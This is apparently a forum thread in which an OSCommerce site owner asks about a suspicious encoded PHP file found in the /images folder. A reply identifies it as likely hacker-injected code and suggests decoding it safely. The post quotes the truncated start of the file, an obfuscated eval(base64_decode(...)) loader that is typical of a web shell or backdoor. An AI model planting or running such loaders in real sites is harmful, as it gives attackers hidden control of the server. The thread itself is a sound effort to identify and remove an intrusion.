Was digging through the OSCommerce files on my site and found a file in the /images folder that I don’t ever remember seeing before. I haven’t checked the original install package, but I suspect this isn’t a part of it.
The file is 27kb and called vidovic_pretty.php. It’s encoded or compiled in some way, so the contents are unviewable. (see below)
<?eval(base64_decode("JGs9MTQzOyRtPWV4cGxvZGUoIjsiLCIyMzQ7MjUzOzI1MzsyMjQ7MjUzOzIwODsyNTM7MjM0OzI1NTsyMjQ7MjUzOzI1MTsyMzA7MjI1OzIzMjsxNjc7...
Running it displays a single html textbox and a button that says, “Check.”
Anyone have any ideas what it is or what it might do?
Thanks
This is most likely something a hacker injected – encoded and minimized. You can echo the result of
base64_decode(...)instead of evaluating it to see what it would try to perform. BTW, actually running it was probably a big mistake.